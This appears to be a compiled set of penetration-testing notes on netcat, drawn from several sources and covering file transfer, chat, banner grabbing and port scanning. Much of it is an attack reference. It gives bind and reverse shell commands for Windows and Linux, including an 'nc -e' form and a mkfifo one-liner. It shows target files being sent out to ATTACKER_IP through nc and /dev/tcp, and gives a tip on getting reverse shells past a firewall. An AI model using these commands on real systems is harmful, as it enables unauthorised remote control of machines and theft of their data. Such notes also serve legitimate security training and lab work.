transfer files through netcat

# start listening for download
nc -nlvp 9001 > dump.txt
# start uploading from target box
nc ip port < file.txt

Netcat - Read and write TCP and UDP Packets

• Download Netcat for Windows (handy for creating reverse shells and transfering files on windows systems): https://joncraton.org/blog/46/netcat-for-windows/

• Connect to a POP3 mail server

nc -nv $ip 110

• Listen on TCP/UDP port

nc -nlvp 4444

• Connect to a netcat port

nc -nv $ip 4444

• Send a file using netcat

nc -nv $ip 4444 < /usr/share/windows-binaries/wget.exe

• Receive a file using netcat

nc -nlvp 4444 > incoming.exe

• Some OSs (OpenBSD) will use nc.traditional rather than nc so watch out for that...

  $ whereis nc

  nc: /bin/nc.traditional /usr/share/man/man1/nc.1.gz

  /bin/nc.traditional -e /bin/bash 1.2.3.4 4444

• Create a reverse shell with Ncat using cmd.exe on Windows

nc.exe -nlvp 4444 -e cmd.exe

or

nc.exe -nv <Remote IP> <Remote Port> -e cmd.exe

• Create a reverse shell with Ncat using bash on Linux

nc -nv $ip 4444 -e /bin/bash

• Netcat for Banner Grabbing:

echo "" | nc -nv -w1 <IP Address> <Ports>

nc -nv <ip> <port>

CHAT

    nc -nlvp 4444
    nc -nv <ip> 4444

FILE TRANSFER

    nc -nlvp 4444 > file.exe  
    nc -nv <ip> 4444 < file.exe

BIND SHELL

    VICTIM (server)
        nc -lvp 4444 -e cmd.exe

    ATTACKER (client)
        nc -nv <IP Address> 4444

REVERSE SHELL

    ATTACKER (server)
        nc -lvp 4444

    VICTIM (client)
        nc -nv <IP Address> 4444 -e cmd.exe

NCAT for increased security

    VICTIM (server)
        ncat -lvp 4444 -e cmd.exe --allow 192.168.30.5 --ssl

    ATTACKER (client)
        ncat -nv <IP Address> 4444 --ssl

Port Scanning with NC

    TCP Connect Port Scan

        nc -nvv -w 1 -z <ip> 1-65550

    UDP Scan

        nc -unvv -w 1 -z <ip> 1-65550

Netcat is a Swiss Army knife tool and is compatible with both Linux and Windows. It can function either as a TCP or UDP client and a server as well.

Netcat command flags

-l: Listen mode (default is client mode). -L: Listen harder, supported only on the Windows version of Netcat. This option makes Netcat a persistent listener that starts listening again after a client disconnects. -u: UDP mode (default is TCP). -p: Local port (in listen mode, this is the port that is listened on). -e: Program to execute after a connection has been established. -n: Don't perform a DNS lookup (name resolution) on the names of the machines on the other side. -z: Zero I/O mode. -w(N): Timeout for connections. A Netcat client or listener with this option will wait for N seconds to make a connection. For example, w1 or w2. -v: Be verbose. -vv: Be very verbose.

Practical examples

You've seen how to use Netcat in this book. In the following list, you will see a few popular, practical examples: Banner grabbing (HTTP): nc -vn 10.1.1.100 80 After pressing the Enter key to execute the command, type anything, such as Hello SERVER. Then the server will send back the banner header. Simple chatting: Start typing the message that should be sent to the other party on any side: Set up and listen on one side: nc -v -lp 1234 On the other side, connect to the listener: nc -v [Remote IP] 1234

1 Transfer files:

1.1Listen on one side:

nc -vn -lp 1234 > file.txt

1.2 Send the file from the other end:

nc -vn <other side remote IP> 1234 < file.txt

2 Binding a shell:

Assuming that the victim is the Windows machine, start listening: nc -lvp 1234 -e cmd.exe Connect to the victim host from the attacker machine: nc -vn [Victim IP] 1234

Reverse shell to bypass the firewall:

Start listening to the attacker machine (Kali Linux): nc -nlvp 1234 If the victim is using a Windows machine, enter the following: nc -vn [Attacker IP] 1234 -e cmd.exe If the victim is using a Linux machine, then you should use -e /bin/bash. 1. Check which port is allowed for reverse shell

sometime certain out going traffic is blocked by your victim   
nc -nvv -w 1 -z "Your IP Address" 1-100  
open Wireshark  

2. Reverse shell list

Netcat  
nc -e /bin/sh AttackIP AttackerPort
(Really like this one)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc AttackIP AttackerPort >/tmp/f 

Netcat

Initiated by an attacker

# Attacker
nc -nlvp <PORT> > <FILENAME>

# Target
nc -nv <ATTACKER_IP> <ATTACKER_PORT> < <FILEPATH>

# or
cat < /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> > <FILEPATH>

Initiated by target

# Attacker
nc -nv <IP> <PORT> > <FILENAME>

# Target
nc -nlvp <PORT> < <FILENAME>

Netcat

It first surfaced in 1995, and it is one of the most popular and very lightweight network security tools to date.

Netcat lets two computers transfer data with each other via TCP and UDP.

It runs as a client to initiate connections with others computers. It can operates as a server or a "listener".

Some common uses for net cat include :

• using it as a chat / messaging server
• file transfers
• port scanning
• banner grabbing (collect information about a :computer: such as the OS, services versions...)

It can be used in Linux, Mac and Windows as well.

How to Use Netcat To Chat

1. Listener nc :
   • -l : listen
   • -p : port
2. Client : nc $ip $port

Transfer Files with Netcat

Sender (Windows) :

• nc -v -w 30 -p 31337 -l < C:\Users\Me\Desktop\test.txt

Reciever (Linux) :

• nc -v -w 2 $ip $port > test.txt

Using Netcat for Banner Grabbing

$> nc 10.73.31.1 81
HTTP/1.1 200

...
<address>Apache/2.2.22 ..
...

$> nc www.google.com 80
GET / HTTP/1.1
...

• Services Versions :

$> nc 10.73.31.1 222
SSH-1.99-OpenSSH_5.8
$> nc 10.73.31.9 22
SSH-2.0-OpenSSH_6.1
$> # Have to upgrade the SSH version of the Server 1

Port Scanning in Netcat, Haktip 85

nc -v -w 1 $ip -z 1-1000 : scan port from 1 to 1000 (-z speed up)

Remote Shells in Windows, HakTip 86

remote shell: execute shell commands as another user on another computer.

• Target :

nc -Lp 31337 -vv -e cmd.exe

persistant listening mode (always waiting for new entry)

• "Remoter":

nc $ip $port

Part.2: Remote Shells From Windows into Linux

• Target :

sudo nc -lp 31337 -e /bin/bash

Cryptcat: Netcat Using Two-Fish Encryption, HakTip 88

netcat usage is transmitted in plaintext.

cryptcat an another command line tool built on top of netcat using Twofish encryption.

remind: $ip = the IP you've chosen, same thing for the$port

• Listener :

cryptcat -k $password -l -p $port

• Client :

cryptcat -k $password $ip $port

To verify if its really encrypted

Open Wireshark :

• Type tcp.port == $port in the filter bar

Making Processes Talk To Each Other, HakTip 89

• Linux :

tar -cf - Pictures | nc -l -p $port
cat web.jpeg | nc -l -p $port

• Windows :

nc $ip $port | tar -xf -
nc $ip > web.jpeg